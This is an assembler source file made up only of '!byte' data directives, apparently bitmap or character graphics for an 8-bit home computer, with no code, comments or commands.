!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,254,254,249,249,251
!byte 159,159,191,127,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 123,123,127,127,111,111,106,107
!byte 254,254,250,250,250,250,250,250
!byte 254,254,254,254,254,254,254,254
!byte 126,254,254,254,254,254,254,254
!byte 250,250,250,254,255,254,254,254
!byte 254,251,255,191,191,191,191,191
!byte 233,233,231,231,159,159,159,159
!byte 111,111,111,107,107,111,111,174
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 253,254,246,250,249,251,219,235
!byte 191,127,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 170,170,235,255,255,255,255,255
!byte 191,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,239,239,239,239,239,239
!byte 251,251,251,219,239,239,239,239
!byte 191,159,239,239,239,255,255,255
!byte 255,255,255,255,255,253,250,250
!byte 255,255,255,255,155,102,154,106
!byte 255,255,255,255,255,255,191,191
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,254,255
!byte 255,255,255,255,255,235,233,229
!byte 255,255,255,255,255,191,155,167
!byte 255,255,255,255,255,255,239,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,254,254,254,249
!byte 231,239,159,191,127,127,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 151,159,191,191,159,159,159,159
!byte 254,254,254,254,254,254,253,253
!byte 254,255,255,251,251,251,251,250
!byte 190,190,190,190,190,190,191,191
!byte 254,254,254,126,126,254,254,250
!byte 191,185,185,187,187,187,251,255
!byte 167,231,231,231,231,231,231,231
!byte 174,190,254,254,254,223,223,219
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 235,235,235,235,235,217,250,250
!byte 255,255,255,255,255,254,250,250
!byte 255,255,255,255,254,170,170,190
!byte 255,247,233,233,170,171,255,255
!byte 255,255,255,255,254,246,219,235
!byte 255,255,255,255,127,159,159,175
!byte 175,159,191,191,191,186,191,191
!byte 239,239,239,110,169,191,191,191
!byte 255,255,175,175,255,255,255,255
!byte 191,191,191,191,191,191,191,175
!byte 223,127,126,126,122,122,234,170
!byte 255,175,175,111,107,91,91,91
!byte 255,255,253,250,234,169,165,229
!byte 255,255,191,171,106,85,85,166
!byte 255,255,255,255,255,191,111,159
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 254,255,253,234,250,234,102,85
!byte 171,255,175,175,255,255,255,255
!byte 249,250,250,250,251,239,255,223
!byte 255,255,255,255,255,255,254,254
!byte 255,255,255,255,233,165,165,165
!byte 251,235,171,171,111,111,111,95
!byte 255,255,255,255,255,175,107,91
!byte 255,255,255,255,255,255,255,254
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,239
!byte 159,159,191,191,191,159,159,191
!byte 254,254,254,254,254,254,254,253
!byte 251,250,250,251,251,251,250,254
!byte 191,191,191,191,191,191,190,190
!byte 250,250,250,251,251,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 219,219,219,219,219,219,238,238
!byte 219,251,187,187,235,235,235,235
!byte 255,255,255,255,255,255,255,254
!byte 255,255,255,255,255,255,171,170
!byte 250,250,254,254,254,255,255,255
!byte 111,235,235,218,250,246,191,171
!byte 235,111,174,174,189,191,127,255
!byte 255,255,255,255,255,127,191,171
!byte 250,250,250,250,250,250,251,191
!byte 175,175,174,174,158,189,125,255
!byte 191,191,191,255,251,247,167,175
!byte 191,191,191,191,191,191,191,191
!byte 255,255,255,255,255,255,255,255
!byte 250,249,253,253,255,255,255,255
!byte 255,253,245,255,191,175,171,169
!byte 254,254,254,254,251,254,250,170
!byte 190,238,254,122,122,250,254,255
!byte 255,255,255,255,255,255,171,90
!byte 254,255,255,255,255,255,255,255
!byte 170,170,250,245,245,245,245,245
!byte 169,169,169,255,255,255,255,255
!byte 170,170,170,170,255,255,255,255
!byte 170,170,170,175,255,255,255,255
!byte 170,170,170,255,255,255,255,253
!byte 87,95,127,255,254,250,234,170
!byte 191,191,255,255,255,255,255,255
!byte 250,250,250,250,250,250,250,250
!byte 249,249,253,254,238,254,254,254
!byte 171,175,175,175,175,191,255,255
!byte 170,234,235,219,222,223,247,245
!byte 170,186,170,175,239,255,255,255
!byte 255,255,255,231,229,165,166,170
!byte 255,255,255,250,250,90,90,90
!byte 186,190,190,191,255,255,255,255
!byte 126,110,111,175,175,175,175,175
!byte 254,254,254,254,254,254,254,254
!byte 254,254,254,254,250,254,254,254
!byte 235,231,235,235,235,235,235,235
!byte 255,255,251,251,251,251,251,251
!byte 255,255,255,253,253,254,254,254
!byte 111,111,111,111,111,111,111,111
!byte 235,239,175,175,175,175,175,175
!byte 254,246,250,250,250,250,246,253
!byte 255,255,255,255,255,255,255,254
!byte 85,95,159,191,191,255,254,234
!byte 255,255,255,255,250,170,159,255
!byte 255,255,255,255,255,171,250,255
!byte 253,255,255,255,255,255,191,235
!byte 170,234,255,255,255,255,255,255
!byte 170,170,254,255,255,255,253,213
!byte 170,169,169,245,247,223,127,255
!byte 106,106,106,239,254,255,255,255
!byte 255,255,255,238,187,238,187,174
!byte 255,255,187,238,187,238,185,237
!byte 111,175,191,191,255,255,255,254
!byte 95,95,255,255,255,254,170,170
!byte 255,255,255,255,255,255,191,171
!byte 253,255,255,255,238,254,238,174
!byte 85,169,169,187,251,251,251,251
!byte 95,127,126,126,126,250,234,234
!byte 170,251,255,255,255,255,255,255
!byte 186,255,255,255,255,251,255,251
!byte 175,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,249,169
!byte 255,255,255,221,234,170,170,170
!byte 170,170,166,95,255,255,255,255
!byte 191,191,255,255,255,223,255,255
!byte 250,251,127,251,251,251,254,175
!byte 239,255,185,255,191,159,255,255
!byte 251,250,255,255,254,254,254,255
!byte 191,127,191,251,255,255,251,255
!byte 255,255,255,255,255,255,251,255
!byte 171,171,251,255,255,190,222,255
!byte 255,239,239,255,255,255,251,123
!byte 239,239,175,175,239,223,223,223
!byte 254,254,254,254,254,254,254,254
!byte 254,254,254,254,126,127,255,254
!byte 190,190,250,251,191,185,189,189
!byte 247,255,254,222,222,218,106,154
!byte 254,246,250,250,233,121,249,125
!byte 239,239,239,235,235,239,238,238
!byte 175,175,175,191,191,191,191,255
!byte 175,191,191,255,255,255,255,255
!byte 191,170,234,255,255,255,255,255
!byte 167,175,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 254,255,255,255,255,255,255,255
!byte 170,255,255,255,255,255,255,255
!byte 167,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 254,255,255,255,255,255,255,255
!byte 223,118,254,254,254,255,255,255
!byte 171,175,175,175,191,239,251,126
!byte 255,255,255,255,255,255,175,175
!byte 255,255,255,255,255,255,255,255
!byte 251,191,191,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 191,191,191,191,191,191,190,106
!byte 255,255,255,255,255,250,106,170
!byte 105,166,165,171,191,255,255,255
!byte 170,171,191,255,255,255,253,255
!byte 127,255,255,255,255,171,255,191
!byte 255,247,255,255,255,255,254,239
!byte 255,254,250,251,187,191,190,191
!byte 255,255,127,239,239,174,171,171
!byte 190,255,255,223,254,190,255,255
!byte 255,255,255,255,255,239,239,255
!byte 123,255,255,255,255,255,255,255
!byte 255,255,255,254,255,254,254,249
!byte 255,255,255,255,127,191,191,255
!byte 249,233,253,255,255,255,254,239
!byte 239,255,189,254,239,238,165,85
!byte 239,239,239,239,239,111,187,187
!byte 254,254,253,253,253,254,255,255
!byte 254,191,191,190,174,173,181,181
!byte 169,166,191,191,175,175,171,255
!byte 239,223,255,255,255,255,255,255
!byte 251,235,191,255,255,255,255,255
!byte 123,123,123,123,123,123,123,123
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,234,234
!byte 255,255,255,255,255,170,170,170
!byte 255,255,255,255,235,170,170,170
!byte 255,255,255,255,255,170,170,170
!byte 255,255,255,255,255,171,170,170
!byte 255,255,255,255,255,255,170,170
!byte 255,255,255,255,255,170,170,170
!byte 255,255,255,255,255,175,170,170
!byte 255,255,255,255,255,255,170,170
!byte 255,255,255,255,255,255,170,170
!byte 255,255,255,255,255,255,170,170
!byte 255,255,255,255,255,255,170,170
!byte 245,253,255,255,255,255,175,171
!byte 255,255,255,253,191,189,175,175
!byte 95,170,255,255,255,255,127,127
!byte 250,170,255,255,255,255,255,255
!byte 186,170,234,251,251,255,255,255
!byte 127,191,191,111,159,111,175,107
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,254,170
!byte 170,154,154,86,111,191,255,255
!byte 170,170,171,175,255,255,255,255
!byte 170,191,255,255,255,255,255,255
!byte 170,250,255,255,255,255,255,255
!byte 170,255,255,255,255,255,255,255
!byte 170,255,255,255,255,255,255,255
!byte 191,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 234,254,255,255,255,255,255,255
!byte 170,171,255,255,255,255,255,255
!byte 175,255,255,255,255,255,255,255
!byte 254,254,254,254,255,255,255,255
!byte 191,175,191,191,191,191,191,191
!byte 255,255,255,255,255,255,255,255
!byte 223,213,255,255,191,191,191,191
!byte 251,247,229,245,222,254,254,234
!byte 171,186,250,254,86,95,119,95
!byte 171,171,250,234,239,239,229,125
!byte 247,231,231,231,231,231,239,239
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 250,254,254,254,254,254,254,255
!byte 254,254,255,255,255,255,255,255
!byte 255,255,255,191,175,171,171,171
!byte 255,255,255,255,255,255,255,255
!byte 233,250,234,250,250,254,254,251
!byte 255,255,255,255,255,191,191,191
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 251,251,251,255,255,255,239,239
!byte 255,255,255,255,251,251,249,249
!byte 255,191,191,191,187,187,255,239
!byte 255,255,255,255,255,255,255,255
!byte 183,183,157,149,159,175,167,175
!byte 250,251,239,255,251,170,171,187
!byte 187,191,187,255,254,170,174,250
!byte 239,175,189,173,189,253,253,237
!byte 155,187,187,155,155,91,95,127
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,254,246,246
!byte 255,255,255,255,255,255,255,175
!byte 254,254,254,254,254,254,234,170
!byte 255,255,255,255,255,255,254,254
!byte 171,175,171,171,175,175,255,255
!byte 127,255,255,255,255,255,255,191
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 223,213,255,255,254,254,239,239
!byte 255,255,255,255,254,186,165,86
!byte 126,126,251,251,238,186,187,251
!byte 191,191,255,191,191,255,127,125
!byte 255,255,254,255,255,254,126,250
!byte 250,250,191,191,183,190,214,218
!byte 255,255,255,191,191,127,255,247
!byte 254,255,255,187,170,238,234,169
!byte 175,175,175,175,191,189,189,189
!byte 127,123,123,123,123,251,238,238
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 246,246,250,250,250,250,250,250
!byte 255,255,255,255,255,255,255,255
!byte 245,255,191,191,191,191,171,251
!byte 250,250,254,254,254,251,251,251
!byte 255,255,255,255,255,255,255,255
!byte 191,191,191,191,191,191,191,191
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 219,251,251,221,239,239,255,255
!byte 159,191,255,255,255,255,255,255
!byte 170,251,186,254,255,255,255,255
!byte 150,191,191,191,255,255,255,255
!byte 155,254,251,251,255,255,255,255
!byte 165,237,237,251,255,255,255,255
!byte 191,255,255,255,255,255,255,255
!byte 254,254,254,254,254,254,254,250
!byte 245,246,246,246,230,231,230,230
!byte 191,175,175,191,191,175,239,239
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 254,254,254,254,254,254,254,254
!byte 255,254,255,255,255,255,255,255
!byte 239,175,175,175,239,255,187,251
!byte 251,255,255,254,254,254,254,255
!byte 255,255,255,255,255,255,255,255
!byte 191,191,191,191,191,191,191,191
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,254
!byte 175,175,175,189,189,253,245,245
!byte 119,126,123,235,235,235,235,174
!byte 175,175,239,175,255,254,239,171
!byte 255,255,175,239,255,191,191,253
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 254,254,254,254,254,254,254,250
!byte 255,255,255,255,255,255,255,255
!byte 251,187,175,175,175,191,191,255
!byte 251,251,255,255,254,238,238,254
!byte 255,255,255,255,239,235,235,235
!byte 191,191,127,127,191,191,191,191
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,239,251,250,250,250,234
!byte 255,251,250,254,254,191,175,213
!byte 255,255,255,255,255,254,254,253
!byte 186,250,250,255,86,119,255,127
!byte 175,175,189,191,255,255,255,255
!byte 219,235,255,255,255,255,255,255
!byte 213,255,254,255,255,234,250,254
!byte 251,255,239,127,255,255,255,255
!byte 255,255,250,254,250,250,235,235
!byte 254,251,251,250,235,235,233,235
!byte 255,255,247,191,255,191,255,191
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 175,175,175,191,191,191,191,191
!byte 255,254,254,254,255,250,250,251
!byte 255,191,191,191,189,189,191,255
!byte 175,239,255,191,191,189,189,189
!byte 238,111,111,111,111,110,110,110
!byte 127,127,191,191,191,191,191,191
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 254,255,254,239,253,255,255,255
!byte 255,251,255,234,175,253,253,249
!byte 255,255,255,255,169,174,191,191
!byte 255,254,250,169,151,95,255,255
!byte 247,215,245,255,187,170,170,187
!byte 149,101,170,171,174,254,255,255
!byte 166,154,218,121,233,245,255,255
!byte 85,90,170,174,255,255,255,255
!byte 170,169,190,254,234,255,255,255
!byte 170,90,214,254,255,255,255,255
!byte 126,190,186,185,186,187,247,251
!byte 127,255,255,127,255,191,191,239
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 191,191,191,191,191,189,191,191
!byte 174,186,171,239,239,239,239,239
!byte 170,171,175,175,191,191,191,255
!byte 151,159,159,191,191,191,191,191
!byte 126,127,255,254,254,254,254,254
!byte 191,191,191,191,191,191,191,191
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,254,255,255,255
!byte 255,191,191,191,255,255,255,255
!byte 255,255,254,254,254,254,254,255
!byte 250,246,254,126,118,222,94,122
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 234,254,255,255,255,255,255,255
!byte 122,186,255,255,255,255,255,255
!byte 127,175,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 251,251,254,254,254,254,254,251
!byte 175,239,255,255,254,254,255,255
!byte 255,255,255,175,255,255,191,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,254,254,250,250,250,234
!byte 255,255,255,255,255,255,255,250
!byte 223,223,126,126,126,122,122,250
!byte 255,255,255,255,255,255,255,255
!byte 191,191,191,191,191,191,191,189
!byte 250,254,254,254,254,254,190,190
!byte 191,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 251,255,255,251,171,235,235,234
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 127,255,255,255,255,255,239,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 251,234,235,251,255,238,238,238
!byte 170,234,234,250,251,255,255,251
!byte 235,239,239,239,239,239,235,250
!byte 255,255,239,239,239,255,239,191
!byte 255,255,255,191,191,235,235,187
!byte 255,255,255,255,255,255,239,187
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,254,250,250,218,234,234
!byte 127,255,255,255,255,254,254,250
!byte 95,127,127,255,255,254,250,250
!byte 175,191,191,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 233,233,249,249,250,250,250,250
!byte 190,190,191,191,191,191,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,239,239,239
!byte 250,250,255,127,235,239,239,239
!byte 251,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,251
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 191,191,191,191,191,239,239,239
!byte 247,255,251,239,239,239,239,175
!byte 235,239,254,254,254,190,191,255
!byte 191,255,254,250,250,234,230,170
!byte 191,191,255,255,255,255,191,170
!byte 190,255,255,255,255,255,191,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,253,254,250,250,250
!byte 191,255,255,255,255,255,255,255
!byte 175,191,191,255,255,255,255,253
!byte 191,191,191,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 250,250,250,250,250,250,250,250
!byte 254,254,254,254,253,253,253,253
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,251,249,233,233,233
!byte 231,191,191,190,254,254,251,245
!byte 186,250,234,239,239,239,254,250
!byte 255,255,191,191,255,255,255,255
!byte 255,254,251,239,239,239,191,191
!byte 191,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,238
!byte 255,255,255,255,255,255,191,191
!byte 255,255,255,255,255,255,251,238
!byte 255,255,255,255,255,255,251,238
!byte 255,255,255,255,255,255,255,255
!byte 223,223,254,254,254,254,254,250
!byte 175,191,191,175,171,171,89,93
!byte 239,187,251,255,255,255,255,255
!byte 255,191,191,175,127,191,255,251
!byte 255,251,251,251,255,255,255,255
!byte 191,191,191,191,191,191,254,254
!byte 255,255,250,235,191,191,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,254,254,254
!byte 175,191,191,255,255,255,255,253
!byte 255,254,250,250,250,233,233,233
!byte 171,171,175,175,175,191,191,191
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 175,175,175,175,175,175,159,159
!byte 254,254,254,254,254,254,254,250
!byte 255,255,255,255,255,255,254,255
!byte 238,255,249,237,181,238,251,187
!byte 121,217,235,173,175,223,119,222
!byte 183,151,159,127,126,126,250,170
!byte 191,191,191,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,250,239,239
!byte 255,255,255,255,255,191,239,239
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 254,254,254,255,255,255,255,255
!byte 239,239,239,191,190,255,255,255
!byte 191,191,191,190,174,255,255,255
!byte 238,238,238,238,251,255,255,255
!byte 254,251,239,239,234,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 175,175,103,230,254,254,254,190
!byte 223,222,222,255,255,254,255,239
!byte 251,255,251,255,253,255,183,254
!byte 255,255,255,255,255,126,255,254
!byte 255,255,254,223,255,247,254,191
!byte 159,158,181,122,254,239,254,250
!byte 255,255,191,191,255,255,127,123
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 253,253,254,250,250,250,250,250
!byte 255,255,253,253,245,149,170,170
!byte 127,255,254,254,250,170,187,170
!byte 255,255,254,255,187,255,238,187
!byte 255,255,255,255,255,239,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 107,107,107,106,234,254,255,255
!byte 254,254,254,254,254,250,250,109
!byte 254,251,254,251,254,175,165,165
!byte 238,187,238,187,238,251,238,123
!byte 182,222,183,215,186,239,186,235
!byte 253,239,255,239,255,255,255,255
!byte 191,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 191,190,187,187,187,187,187,186
!byte 251,187,187,251,251,251,187,251
!byte 255,239,187,251,239,191,191,171
!byte 255,239,187,187,187,187,187,239
!byte 255,239,187,251,239,191,191,171
!byte 255,239,187,187,187,187,187,239
!byte 255,255,254,254,254,254,254,254
!byte 255,175,175,175,175,239,238,238
!byte 255,250,238,239,239,239,238,235
!byte 255,239,239,239,239,239,238,235
!byte 255,255,250,238,254,234,238,235
!byte 255,255,250,238,239,239,239,239
!byte 255,239,239,238,235,238,238,238
!byte 255,255,250,238,234,239,238,235
!byte 255,255,255,255,255,255,255,255
!byte 254,250,250,255,255,255,215,255
!byte 234,251,250,171,190,186,255,255
!byte 237,175,249,254,254,191,254,169
!byte 85,174,159,191,255,255,246,233
!byte 191,191,251,223,254,254,111,85
!byte 246,253,255,174,154,235,253,255
!byte 234,238,190,255,255,190,190,170
!byte 255,255,255,191,255,191,255,255
!byte 255,255,255,255,255,255,255,255
!byte 249,250,250,254,254,255,255,255
!byte 255,95,127,127,123,234,170,234
!byte 254,251,238,251,238,123,94,95
!byte 239,187,238,187,238,187,239,191
!byte 187,255,255,191,255,239,255,191
